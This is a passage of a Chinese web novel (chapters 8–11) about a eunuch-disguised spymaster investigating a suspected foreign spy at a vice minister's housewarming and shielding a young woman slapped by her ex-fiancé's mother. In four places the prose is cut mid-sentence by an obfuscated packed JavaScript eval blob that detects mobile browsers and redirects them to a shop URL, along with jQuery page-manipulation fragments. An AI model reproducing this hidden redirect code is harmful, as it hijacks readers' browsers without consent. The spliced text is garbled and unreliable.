白惜时有时候觉得自己也挺奇怪,一方面觉得解衍能像魏廷川很好,一方面又排斥太过相似。 正如昨夜,太像了她会恍神、不悦。 但这一刻又觉得不像,也不满意。 性格姑且不论,解衍身形太单薄了些,魏廷川常年习武,要比他结实强健许多。 随便找了个借口,白惜时吩咐下去,“找个行家师傅没事多陪解衍练练,白府不养闲人,长这么个大高个不当护院可惜了。” — 那日在瓮堂跟丢的两个人,没过几日千闵便查到了他们的来历。一个是来京做生意的冉回散商,另一个则是兵部侍郎翟瑞家中的家丁。 这家丁乃一名花草匠,是大半年前进府,目前正在翟瑞即将搬迁的新宅侍弄花草景观,据说本领不小,翟瑞的新府中便是以园林园艺为一绝。 而这家丁还有一相好,这相好,正是伺候翟瑞书房洒扫的大丫鬟。 据说这家丁常与冉回散商做些小交易,卖的都是些不值钱的小玩意,只为换点零花钱给那大丫鬟买些衣裳首饰。 书房丫鬟,花草匠,冉回散商……这几个关键词联系起来,白惜时直觉没有那么简单。 兵部侍郎家中军事布防、战事安排、补给线路都有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251703|139635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能出现在书房,若真是将那些东西流传至冉回,后果不堪设想。 本意是查一起走私贪腐案,没想到如今牵连甚广,白惜时深觉不得怠慢,派属下再探的同时,也准备找机会亲自探一探底细。 交易中到底是否涉及大魏军事,而翟瑞又知不知情? 这些都是急需弄清之事。 白惜时正筹谋着如何接近,没想到,机会便自己送上门来。 兵部侍郎翟瑞乔迁新居,为纳喜气,广发请帖,邀朝中同僚前去新府一聚。 翟瑞为人圆滑变通,不算自诩清高那一流,因而一张请帖便也送到了白惜时的手上。 将下人呈上来的帖子看完,重新放回桌面,白惜时将手放在案几上,凝神思索了片刻。 “去将解衍叫过来。”她吩咐道。 “是。” 家厮躬身退了出去,不一会,敲门声再度响起,白惜时将视线从翟府的帖子上挪开,看了一眼门窗上透出的人影。 “进来。” 红漆木门被人从外面拉来,一袭青色的衣衫便出现在了视野里,身后的阳光跟着一起闯进来,像是给他整个人都镀了一层光。 来人腰背笔直,即便眼下在白府的身份只是一个下人,也没有人能忽略他的气度。 白惜时是见惯了解衍的,此刻目光挪到他的脸上,却皱了皱眉,“怎么弄成这般?” 解衍的头上溢出汗珠,几缕头发也透着湿意贴在额头、鬓角,与他以往的矜冷出尘的形象不同,此刻微微凌乱,倒是显出了几分烟火气。 “方才于后院习武,彭管事催的急,没来得及换更身衣衫。” 一滴汗珠由额角滑轮至下颌,解衍任由它滴落在地面,无波无澜,“厂督恕罪。” 经他一提醒,才想起是自己那日心血来潮,着人给他请的师傅锻炼身手,白惜时“嗯”了一声,收回目光。 “练得如何?” “受益颇多。” 看他这样子,倒确实像是在认真求教习武,白惜时没再继续这个话题,而是将掌心下的帖子向前一推。 “三日后,翟府乔迁之喜,你与我同去。” 目光在那帖子上停留了片刻,解衍抬眼,显然不知白惜时用意。 此时书房只剩两人,闲杂人等均被挥退出去,白惜时简要将近来查探之事与解衍说了。 “此次赴宴,咱家欲让你以学习园艺为由,与那花草匠接触,探一探他的底细。” 解衍听完,没有立刻作答,而是用一双湖底墨玉般的眼,望向白惜时。 “厂督如此信我?” 白惜时:“疑人不用,用人不疑。” “当然,你若是愿意当一辈子花草匠,咱家也不拦着。” 白惜时是允许解衍拒绝的,昔日家世显赫的探花郎,再次出现在众人视野里,却变成了一个太监府中的下人,这确实有些残忍,她知道有很多人都接受不了这样的心理落差,担心遭人讥讽嘲笑可怜,宁愿一辈子都不再见故人。 可解衍若是拒绝了这个机会,白惜时尊重,却也不再会用他。 他用人,勇毅、坚韧是必备条件,否则,迟早会被各种各样的突发情况击垮。 好在,对面之人并没有让白惜时等待多久。 眼神中是与这个年纪不相符的冷静自持,解衍声线低醇,“在下愿与厂督同去。” 8. 第 8 章 在去往翟瑞府邸之前,府中倒是又发生了一件小插曲。 这一日,彭管事一脸隐晦与白惜时递来了一封信件,声称外头有人想要偷偷给解小姐递信,被他留心中途截了下来。 隐约嗅出了一股八卦的味道,白惜时面上云淡风轻,将信接过来一看,瞳孔一缩,果然,还真是个八卦。 信应该是由解柔云的情郎所写,大致意思是许久不见甚是想念,得知翟府乔迁宴白惜时已回复出席,询问解柔云是否一同随行,他有重要的话想要与解柔云说。 竟然有人试图要给自己戴“绿帽”? 白惜时觉得这位“狂徒”很是有些勇气,转头询问彭管事这寄信的人是谁。 彭管事以为厂督必定气得不轻,沉重道:“听闻…听闻解姑娘在入府之前订过一门亲事,是光禄寺卿家的小儿子,刘天放。” 因着白惜时在东厂,日日情报线索不断,对朝中五品以上的官员家中情况都有所了解,这刘天放据他所知,还算是个有前景的青年。 白惜时一时半会没说话,彭管事揣测着白惜时的脸色,“厂督……那这信?” “原封不动,给解姑娘送过去。” “啊?” 看了一眼张着大嘴巴的管事,白惜时耐着性子又重复了一遍,“送。” 她还挺想看看,这刘天放想要做什么。 解柔云,又会是什么反应。 送回信件的时候,彭管事做法谨慎,并没有让解柔云察觉厂督和自己已提前知道信件内容。 果不其然,到了第二日,解柔云竟破天荒主动来找白惜时,小心翼翼询问白惜时近日有没有出门的打算,若是有,她能否跟着一起出去散散心。 解柔云问得一脸惶恐心虚,想什么都写在了脸上,白惜时看在眼里,并没有拆穿。 “有倒是有,但后日宾客众多,故友旧相识如云,解姑娘去了,未必好过。” 解柔云胆小柔弱,当身份天翻地覆,她未必了承受得了有些人的言语诋毁和恶意,想了想,白惜时还是停下脚步,提醒了她一句。 然而解柔云似乎什么都没听进去,得知白惜时说的是后日,眼睛立马闪烁了起来,“回厂督,我不在意的。” 继而发现自己表现的太过直接,解柔云又低下头,揉搓着衣摆解释道:“……我,我就是近日在府里太憋闷了,想去人多的地方看看。” “厂督,可以吗?”声音谨小慎微,又怀着试探。 看来这位刘公子算得上是魅力无边,连一向怯懦的解柔云,都为了见他一面而克服恐惧来求自己。 白惜时似笑非笑,“既然解姑娘乐意一同前往,那自然再好不过。” 解衍显然不知道解柔云来找过白惜时之事,因而出发之日,当看见妹妹跟在白惜时身后,还预备一起登上马车,他神色一凝,直接将目光投向白惜时。 白惜时见着他的反应微微耸肩,又云淡风轻暼了解柔云一眼,即使没说话,那意思也很明了,“与咱家无关,你妹子的主意。” 见状,解衍并未变轻松,眸子反倒更沉下去了几分,他有心要找解柔云问清楚,但很显然解柔云此刻不想接受来自哥哥的盘问,刻意避开他的眼神,一溜烟就登上了马车。 眼下人多,解衍的身份又不可同乘,只得作罢。 但眉头从解柔云登上马车的那一刻起,便没有再松开过。 白惜时看看抿唇垂眸的解柔云,掀开车帘,又扫了眼表情严肃的解衍,独自咂摸了下,实在觉得此趟行程应该比想象之中还要丰富。 待白惜时一行到了翟瑞的府邸,不可避免的,又引起了一场轰动。 朝中要员家的喜事,即便主家为了客气给有头有脸的公公们递了帖子,一般那些个宦官也不会来,知道自个不受欢迎,谁也不想讨那个没趣。 但白惜时偏偏就来了,还一早便递了消息,说她会过来。 此举,其实是存了试探翟瑞的心思,东缉事厂厂督到访,若他心中有鬼,必会有所表露。 白惜时高视阔步进了白府,一下子就成为了众人的焦点,光她一人便足够引人注目,何况后头还跟着解衍和解柔云。 翟瑞听闻白惜时已到,扬着笑脸便将人迎进了府内,目光漫不经心从他面上掠过,白惜时虽不知翟侍郎这笑容有几分真心,但,却没瞧出来隐瞒回避。 冉回交易之事,他不知情? 进了府后,自有那端着身份的不屑与宦官为伍,但还是有一部分人“厂督”长“厂督”短,愿意巴结吹捧。 白惜时自是做出一副很受用的模样,大摇大摆被请进了独立的雅室,期间只带了千闵、元盛两人,解衍被他支去学习园艺,解柔云也被丫鬟们带去了女眷休息之地。 其实,很多人都以为白惜时今日是耀武扬威,臭显摆来的。 昔日高门解家的探花郎与闺秀如今尽俯首听命于东厂厂督,于一个阉人来说,不可谓不痛快。 但白惜时自忖心理还算健康,没那么变态的爱好,不过她不介意众人这么想,也愿意引导众人这么想,这么想,她来翟府的目的才不会引人生疑。 翟瑞在雅室中将白惜时安顿下来便继续出去迎客,白惜时又将千闵派了出去假借给自己寻东西,待她于室内悠哉悠哉喝了两盏茶,才掀袍起身,去翟府的庭院转上一转。 花叶扶疏,绿竹如屏,行吟处尽是雅致的暗香,白惜时不得不承认,翟瑞府中布景的造诣确实很高,宛如走入一幅泼墨山水画。 再穿过一条水石相映的小径,很快,白惜时便瞧见了一个熟悉的身影。 身材颀长、挺拔端正,解衍正立于一棵红枫下,听着一群家丁似的男子讨论着什么。 解衍好似做什么都极认真。即便他站在那一群人中实在格格不入到突兀,却神色无恙,专注听人传授介绍园艺经验。 而正在介绍的家丁,白惜时认出,正是那日与冉回富商交易之人。 翟家新宅以园艺草木为一绝,所以有些官宦也顺带带了府上的家丁前来参考学习。眼下,这些人倒是聚在了一处。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251704|139635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不过此时周遭并不是只有家丁,还有许多赏景的达官显贵,只不过这些人的目光似乎都不在景,而是不约而同投向了解衍。 或惋惜,或同情,当然,还有一部分幸灾乐祸。 “解九公子,堂堂天子门生,何至于此啊!”突然有人愤而感叹道。 那人一说完,却有人悄悄去扯他的衣袖,很快回头示意了他一眼。 男子跟着转过来,一眼便见到白惜时那张阴柔瓷白的脸,表情瞬间凝固,一甩衣袖,虽不平,却终是没胆量再言语。 白惜时笑得飞扬跋扈,目光投向立于红枫下的男子,扬声吩咐道:“解衍,在翟侍郎家好好学,学成了,回去也给咱家弄个差不多的景致。” 旁若无人的男子应声抬首,一双沉静的漆眸望了过来。 “是,厂督。” 鉴于白惜时那话喊得实在像个暴发户,此言一出,不出所料向二人投来的目光更甚。 众人不敢得罪白惜时,但不代表他们不敢评论失了势的解衍。 待白惜时走后,各种指摘的声音便接踵而至。 “竟认一个阉人为主,还世家大族出的探花郎呢,简直叫人不齿。” “你懂什么?他本来就是抱养的,哪里又是真正的解家人。” “唉,枉我爹娘原先还总拿他教育我,如今竟连读书人的风骨都丢了。我学他什么,学他趋炎附势吗?” 诋毁的声音不小,连走远了的白惜时都听见了不少,但当他站在石阶上转身再看解衍,男子犹如一无所闻,平静淡定的可怕。 “情绪还挺稳定。”白惜时咋舌,好像除了解柔云被她留下之事,这人确实稳的很。 很好,方才还配合她演了一出不错的戏。 “像个能成事的。”白惜时评价了一句。 元盛跟在后头,蹙眉,“厂督是想要用他?” “怎么,不行?” “不是不行……” 元盛:“这种人心思深沉,忍常人之不能忍,犹如置之死地而后生,若是日后再起势,属下怕他未必会念着厂督的好。” “你怕他反咬我一口?” 元盛没有说话,这意思相当于默认。 其实白惜时不是没有考虑过这个风险,但她眼下受锦衣卫、西厂掣肘,用人在即,解衍,很得力。 收敛起玩笑之态,白惜时:“你说的我自会当心。” 带着元盛又在亭台水榭边以闲逛之名查看了一阵,这时候便见千闵从一旁赶了回来,假意将一个鼻烟壶呈给白惜时,“厂督,您要的东西已经取回。” 继而立于白惜时身边,低声道:“一切查探顺利,就是……解姑娘那边出了些状况。” 白惜时侧首,“什么状况?” 千闵观察了眼厂督的脸色,觉得是个男人,哪怕不是个真男人这种情况都难以接受。 “……她与人那个……幽会,被刘家主母堵在假山后,打了一巴掌。” 眉心顿时蹙起,白惜时:“走,去看看。” 9. 第 9 章 白惜时在命千闵查探翟府书房的同时,也不忘嘱咐他注意解柔云的动向。 本以为不过是男女之间互诉相思,还准备回去后对解柔云敲打训诫一番,她虽不是男子,对解柔云更没什么想法,但既入了府,大家便都当解柔云是东厂厂督的女人,一举一动皆可能被有心之人盯上。 不便惹上不必要的麻烦。 但白惜时没想到,解柔云竟会被小情郎的母亲狠狠扇上一巴掌。 解柔云与白惜时分开没多久,就在刘家贴身小侍的引领下,于一处假山后见到了刘天放。 刘天放见到朝思暮想之人,恨不能一把将人拥在怀中,却又想到二人现在的身份隔阂,停了脚步。 “柔云,你……还好吗?”男子目光颤动,“在……有没有受委屈?” 解柔云一见到刘天放,瞬间也红了眼眶,默默咬紧嘴唇,摇了摇头。 “你为何不等我呢?我已经在求父亲母亲了,即便你进了那烟花之地,我也定会想尽办法将你赎出来带回府中。” 刘天放满心满眼的无可奈何,“可现下……现下如何是好?” 东厂厂督开罪不起,父亲母亲也绝不会同意他去白府要人。 “我眼下过得很好,兄长也为了护我入了厂督府中,郎君不必再为我忧心。” 解柔云捏紧了双手,忍着眼泪,“其实我今日来就是想要告诉郎君,你我今生有缘无分,便将过往都忘了吧,郎君前程似锦,日后定会遇到更好的女子。” “柔云,你在说什么!” 刘天放听到这里仿佛心都要碎了,再顾不得那么多,走上前一把抓住解柔云的手,“我怎么可能忘得了你!” 解柔云有觉不妥,正要抽离,这时候却听—— “天放!你说忘不了谁?” 一个严厉恼怒的声音骤然插了进来,在情意缠绵的二人之间显得那样突兀,将二人惊得俱是浑身一抖。 解柔云惊慌于被人撞见,而刘天放的惊慌,则源于这个再熟悉不过的嗓音。 当看见来人气势汹汹跨了进来,刘天放第一时间松开解柔云的手,继而瞟了眼被安排在外头把风的随侍,见他苦着个脸望向自己便知道定是被拿住不允通报,脸色又难看了几分。 “母亲,您怎么来了?” 他默默朝前一步,挡在了解柔云的前头。 刘夫人见儿子这样的回护,狠狠瞪了他一眼,“我再不过来,你就要被这狐媚子迷惑了心窍!” 说罢将怒火全都转移到另一个人的头上,刘夫人满脸写着嫌恶,“解小姐,你是不是想要害死天放才高兴?你如今是什么身份自己不清楚吗?” “你舍弃不掉荣华富贵,愿意委身于一个阉人,我们刘家管不着,但事到如今,你为什么还要来祸害我的儿子?” “母亲,不是柔云,是我……” “你给我住嘴!”儿子越是帮解柔云说话,刘夫人声音越发尖锐。 “放儿,你到底被她灌了什么迷魂汤?”刘夫人上下扫视了一遍解柔云,原来看在眼里觉得姣好的容颜,如今却越发得妖媚。 “解姑娘,你若是能有你六姐一般的气节,我倒敬佩。可既然没有,能不能安分守己些,至少放过我的儿子!” 面对刘夫人严厉的斥责,解柔云脸色“刷”的一下变得透明,苍白的毫无血色。 解家除了解柔云之外,还有三个女儿被送至教坊司,她的六姐姐便是其中之一,在送去的第二日,六姐为保清白,便悬梁自尽了。 解柔云听到这,紧攥着袖口看了刘天放一眼。 他不是说他求着父亲母亲赎她进府的吗? 可原来他的母亲,是盼着她死的。 曾经对自己千好百好、慈眉善目的刘夫人,如今幡然变脸露出凶恶之相,解柔云心神受创之余,一时竟不知什么是真什么是假。 刘夫人却顾不得解柔云受不受伤,只发现她竟还敢去看自己的儿子,不由冷笑一声。 “果然不是亲生的,解家教育了你这么多年,就教会了你勾三搭四、不知廉耻吗?” “我没有!”解柔云抬起头,反驳。 “放儿你给我过来!”刘夫人见她竟还敢理直气壮回嘴,怒不可遏,伸手用力将儿子拽开,继而朝一旁厉声道:“姚妈妈,你今日便让她长长教训,知晓胡作非为的下场!” 刘天放一看要动手,慌忙之中拉住刘夫人的手臂,他自知再维护只会激怒母亲,不由改口。 “母亲,母亲她现在在白府,你若打了柔云要如何向厂督交待?” “她做下这种龌龊之事,还敢向厂督告状吗?” 一想到当初费尽心力求来的姻缘,如今差点毁了儿子的前程,刘夫人心口仿佛都在滴血。自解柔云进了那太监的府邸,他们一家人不知被多少人在背后耻笑,笑他们竹篮打水一场空,更笑他们求的就是这么个的自甘下贱的女子。 如今她竟还敢来缠着儿子不放,她为什么不能像她六姐一样去死? 刘天放是她最优秀的儿子,婚配的必是名门闺秀,绝不能让这样的女子在儿子的人生上留下污点。 想到这刘夫人攥住儿子的手,“你若是今日想看为娘去死,你就去护着她。” “……母亲。”刘天放百般无奈,却终是没有再护。 刘夫人一扭头,毫不犹豫吩咐道:“姚妈妈,给我打,看她以后还敢不敢这般造次!” 紧接着“啪”的一声,清脆响亮。 假山之后,解柔云的脸颊骤然偏向一边,一缕本来仔细梳上去的发丝也因为惯性垂落了下来。 她低着头,单手捂住侧脸,好半天才抬起来,瞪大眼睛去看向一旁再没有动作刘天放。 “柔云……” 刘天放被她这样望着,心房颤动,想要再度上前,手腕上却传来指甲掐进肉里的痛感。 刘夫人紧紧扯住儿子,“天放!你记住,你和她到此为止,从今往后谁都不许再提!” 强硬拉上儿子,刘夫人向后头的两个下人使了眼色,那二人便立刻上前,一人一边架住刘天放,想要趁着四下无人这便离开。 然而刚绕出入口,却见一人正行色匆匆朝这边走了过来。 解衍在找解柔云。 自与那群家丁结束交谈后,解衍一直在找她,解柔云今日不对劲,他担心妹妹会犯糊涂。 刘家主仆一见来者,皆顿了下脚步,解衍目光从几人身上掠过,最后定格在刘天放的身上。 是他。 “你们在做这什么?”解衍面容冷肃,刻意收敛的气势释放出来,盯着前方脸色明显有异的男子。 “解兄,我……” “柔云。” 刘天放话尚未说完,解衍顺着他们来时的方向,已经看见整个身子都躲藏在阴影之中的女子。 解衍快步走了过去,当看清自己妹妹捂着的半边脸,以及眼中难以掩饰的悲愤伤心,男子眸中的温度骤然降了下去。 “他们对你做了什么?”解衍寒着声音问。 而解柔云只是低下头不说话,她虽有一肚子委屈,可以她和哥哥现在的处境,又怎么能对抗的了刘家人呢? 万一逼急了他们再去向厂督告状,那便更糟。 还是不要再惹麻烦连累兄长了。 见她这般忍气吞声,解衍薄唇抿成一条直线,其实情况已经很明了,看一眼便能猜到大致的情况。 再回身,反手拦住想要趁机离开的刘家主仆,解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251705|139635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衍声线冷冽,“今日谁都不许走走,把事给我说清楚。” 刘夫人被男子的气势骇住,待好不容易稳住心神看清他身上的衣着,才想起这人早已不是那高高在上的探花郎,稍稍捡回了气焰。 “解九郎,你不如先问你妹妹做了什么上不了台面之事!” 解衍闻言去看解柔云,解柔云对上他的视线,用力摇了摇头。 解衍一字一句,“她说没有。” 刘天放:“解兄,要怪就怪我,是我……” “放儿你怕他做什么?他如今是什么身份,还敢真挡我们的去路不成?” 刘夫人极为看不惯儿子仍在解衍面前做小伏低的模样,这种气愤盖过了方才对解衍的惧,她如今是正四品京官的夫人,谁人见了她不得恭敬地问一声“刘夫人安好”? 捧高踩低似乎已经刻在了骨血里,刘夫人想到这鼓起勇气走过去,命下人齐上便想要挥开解衍,然而那两个家丁刚一伸手却被人强力挡了回去。 二人竟不是他的对手。 解衍肃眉森目,不动如松,而一个家丁自己带了大力,此刻便由于惯性没站稳,后退几步撞到了夫人身上。 “你,你竟敢推我?”刘夫人怒目而视,显然将账全算在解衍身上。 刘天放第一时间扶住母亲,此时也皱起了眉头,“解衍你怎可如此无礼?这是我的母亲,你若是伤到她该如何是好?” 解衍一无所闻,态度强势冷硬,盯着刘天放,嗓音压抑着怒,“那又是谁伤的柔云?” 此刻感受到了一股莫名的压制,刘天放从原先就追随敬仰解衍,如今即便这人已沦落,但身上的气势一旦起来,刘天放心里的那股敬与畏便依旧存在。 他被解衍用这样的眼神盯着,竟再说不出话来。 “她该打!” 刘天放畏惧解衍,刘夫人虽也被这样的强势震慑住,却依旧强撑着脸面,不肯服输。 “是我吩咐姚妈妈给她点教训,如何?她有胆量勾引天放,这惩戒便是她自找的!怎么,解九郎,你今日还敢对我动手吗? 刘夫人忍住心中之虚,却为了掩饰,她想要抬起高傲的头,然而才抬在半空,这时候便听一个闲散的声音传了过来。 “他敢不敢动手咱家不知道。” 来人不紧不慢,带着元盛、千闵一步步走到刘夫人近前,白惜时目光在众人身上扫视一圈,有意拖长音调,“但……我敢呐!” 刘夫人努力维持的面庞出现了一丝裂痕,她望着近在眼前白惜时,那人分明在笑,却笑得人浑身升起股惧意,像是有什么东西卡在喉咙,堵的她说不出话来,甚至,微微发起了颤。 天放与解柔云私会之事若是让厂督知晓,他不会放过解柔云,也定不会放过自己的儿子啊! 似是很满意刘夫人现下的反应,白惜时移开目光,先是看了看解衍,继而望向仍躲在阴影里的女子。 “柔云,过来。” 女子身形一晃,似是害怕,解柔云尚没有移动,解衍已经率先走至白惜时面前。 解衍冰冻依旧,下意识上前一步,是维护者的姿态。 白惜时动怒,会对解柔云不利。 看着自己面前突然多了个人,白惜时没什么好气暼了那人一眼,继而对着假山后面重复了一遍,“过来。” 这一声,不容置喙。 迟疑片刻后,解衍防备的瞳仁中闪过一丝……困惑,继而退开一步,没有再阻拦。 这一退不是因为白惜时的权势威压,亦不是解衍的妥协,完全是因为刚才二人对视的那一眼。 那一眼,白惜时有点嫌他碍事,却也向解衍传递一个明显的信号。 ——咱们一伙的,你挡我干什么? 10. 第 10 章 待解柔云走近,白惜时吩咐小丫鬟上前,将她低垂的脑袋掰起来,如此,便看分明了那红的有些异常的左脸。 解柔云之前一直有个白府的小丫鬟陪伴左右,后来为了来见刘天放,才找了个借口将小丫鬟支开。 “怎么弄的?”白惜时虚指了下她的左颊。 “……打的。” 挺好,还知道说实话,没说是自己磕了碰了,已经超过白惜时的预期。 目光扫过刘家几人,白惜时:“谁?” 姚妈妈此时已经被吓得有些站不稳,与刘夫人对视一眼后,膝盖一软便跪了下来,“是,是老奴,厂督饶命,厂督饶命!” “厂督您听我解释。”刘夫人这时候已从乍见白惜时恐慌中的缓过神来,第一反应便是极力撇清干系,这板子绝不能打到刘家和天放的身上。 努力稳了稳心神,刘夫人看着解柔云道:“厂督,是解姑娘她私自想要来找天放,被我瞧见,我其实就是想让姚妈妈给她提个醒,她已经是厂督府里的人了,怎么还能辜负了厂督您的一片厚爱呢?” 白惜时点了点头,表现的似乎听进去了刘夫人的话,继而去问解柔云:“是这样吗?” 解柔云没有说话,而是看向刘天放,见他此刻神情紧绷犹豫,似是想要替心上人解释,却又实在不敢忤逆自己的母亲。 最终,他还是选择了回避,甚至不敢再去看解柔云的眼睛。 木然牵起嘴角,解柔云心里弥漫起无尽苦涩,这一刻,她仿佛才真正看清了什么。 “不是。” 解柔云不敢去看白惜时,便将目光投向兄长,见他此时同样望着自己,才像是终于找到了主心骨和勇气。 “我原先因与刘公子有婚约在身,家中遭逢突变尚未来得及说清,今日……便是来做了断的。” 白惜时听完,又去看刘夫人,“她说不是。你说咱家是应该相信你,还是相信她?” 这次没再给刘夫人说话的机会,白惜时下一刻便收敛了笑意。 “那便还回去吧。”白惜时慢条斯理。 刘夫人原先还挂着谄笑的脸,因这一句僵在了脸上。 …… 一场小闹剧收场,假山之地虽隐蔽,但由于发出的动静实在算不得小,也引起了一些宾客的注意。 本次翟府打探的目的既已达成,白惜时也不愿在这耽误时间,借以心情不佳为由,便带着解衍一行提前离开了兵部侍郎府。 待回到府中,白惜时用过饭后欲进书房,这时候,却见已经有人提前在门口等自己。 白惜时慢悠悠走了过去,“有事?” 解衍一点头,随着白惜时步入书房,随后将今日查探之事悉数告知。 通过与那家丁的接触,解衍发现他的部分习惯与汉人有细小差别,并且语句顺序偶尔颠倒,他推断,那家丁很有可能不是自小在大魏长大。 白惜时:“你怀疑他虽是汉人,却是冉回派来的细作?” 解衍:“是。” 白惜时点头,那家丁与府中打扫书房的大丫鬟有私情,很有可能便是为了得到翟瑞的案册文书。 而侍郎翟瑞经他观察及千闵打探,应该是对此事并不知情的。 兵部侍郎府混进了番邦奸细,即便只是怀疑,此事也非同小可。 白惜时想到这提笔研墨,将近日调查线索一一书写排列下来,凝神细思了片刻,又抬头去看解衍,“你认为,此事先从哪里攻破最为妥当?” 解衍:“书房洒扫的丫鬟。” 闻言白惜时笑了一下,解衍倒与她不谋而合。 二人难得相谈这般融洽,解衍思维缜密,分析精准,指出的许多细节白惜时都觉有理,便又就后头缉查事宜与他探讨了一番。 待到话题结束,已过了将近一个时辰。解衍即将离开之际,忽又顿住脚步。 “今日,谢厂督替柔云解围。” 听到这,白惜时似是想起什么微微蹙着眉头,看向解衍,“解柔云的婚事,你替她把过关?” 男子表情一僵,好半晌没有回应,白惜时这便知道,他是把过关的。 眼光真差。 看来在嫁娶之事上,男子的确不太靠得住。只看到了刘天放性格温软,却不察他有一个如此强势霸道的母亲。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251706|139635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白惜时心里这么想,嘴上却没再说什么,但解衍从她的眼神里似乎读懂了嫌弃无语之意,男子难得放下眼帘,不动声色与白惜时错开目光。 但他并没有走,仍立于原地。 白惜时开始催他:“还有事?” 今日她衣裳里头的束带绑得过紧了些,此刻觉得不大舒服,趁着眼下还有些时间,白惜时想回房调整。 解衍听出着急之意,重新抬眸,不知为何,顷刻间竟让人觉得气质有些改变,不再肃眉防备,而是透着……商榷权衡。 “厂督若是愿保柔云周全,解某承诺,日后定当竭尽所能,为厂督效力。” 虽相处的时日不长,但白惜时在解衍心中的既定印象似乎发生了改变,他直觉,白惜时或许并非奸佞。 如若不是,为何不可合作,各取所需? 白惜时听完,稍稍来了些兴致,“你指的周全,包括哪些?” 解衍不言语,只用一双做交易的眼与白惜时对望,其实二人都明白,这“周全”里面包括解柔云的清白。 打量着曾经的天之骄子,白惜时故意问他,“咱家若是答应,叫你杀人放火你也愿意?” 解衍面不改色,“只要此人该杀,此火当放。” 这回答倒是出乎白惜时意料,他一介书生,还真敢? 随口又问:“可咱家府中不养闲人,解柔云留下却不做分内之事,咱家又该如何治府?” 因着白惜时没有给解柔云名分,除了贴身服侍外,孟姑姑预备将白惜时的其他生活起居交由解柔云服侍,眼下若是应承了,部分事情就要避嫌。 解衍,“在下便可替代。” 白惜时皱眼抬眉,面色一瞬间阴晴不定,又确认了一遍,“谁?” “我。” 见他目光灼灼,隐有成竹在胸、包揽全部之意,白惜时木然移开视线,这便宜叫他占的,他乐意自己还乐意呢。 再次上下打量了解衍一眼,白惜时不欲再与他多掰扯,越掰扯越乱,索性起身往书房外头走去。 直走到门口,她想了想,还是丢下一句,“那便看你诚意。” 11. 第 11 章 白惜时所谓的“诚意”,其实重点是指解衍之前所说的“竭尽所能,为厂督效力”。 但解衍似乎理解错了意思,自那日书房相谈之后,解衍出现在白惜时面前的频率便大为增加,也确实揽下了解柔云的不少差事。 这日白惜时清晨起床,待穿戴齐整后,一推开房门,便见解衍已立于房门之外。 骤然瞧见他,白惜时甚至晃了下神,还以为是魏廷川突然出现在此地。 定了定神,白惜时才问:“这么早过来做什么?” 解衍将手中的东西递了过来,“门房收到一封信件,说是交予厂督。” “给我的信?” 古怪地看了那信件一眼,白惜时接过来上下翻看,信封上只字未有。而与他有文书来往之人应该都会寄到东厂。 是谁,给她往府中寄信? 白惜时随手撕开,将那薄薄的一张纸展开,可只一眼,目光就定格在了那纸页之上,良久,没有移开视线。 “厂督?” 解衍察觉不对,唤了一声白惜时。 这一声,将怔愣中的白惜时唤醒,她有些慌乱又十分郑重的将信件重新折好,收进了怀中。 “哦,没什么,一个朋友写来的罢了。” 口中虽说着没什么,可贴着那信纸的心脏却因上头的一笔一墨喜悦翻涌,信很简短,只有寥寥几字,却能够轻易挑动白惜时的情绪。 信上写着: 惜时安好?绥州大捷,明年开春回京述职,盼与友相见。——廷川 廷川,魏廷川。 这是魏廷川写给她来的信! 白惜时心情的转变连解衍都察觉出来,虽然表情没什么变化,但整个人不仅一扫阴霾,一向什么情绪的眼中,此刻也亮起了细碎的光。 白惜时在看过那封信后,心情变得很好。这是解衍的第一反应。 一转头,发现男子正观察着自己,白惜时同样回看着他,特别是这样一双眉眼,的确是极为相似。 视线再一向下,扫过他已然起了毛边的布衣,白惜时轻蹙了一下眉。 眼前的解衍再次与魏廷川重合,脑海中的第一反应,解衍不应该穿成这样。 “马上就过冬了,你怎的还穿得这般单薄?彭管事,记得给解衍重新做几身冬衣。” 吩咐完此事,白惜时调转步伐回屋,她要将这封信妥善放置,随身弄皱了可不好。 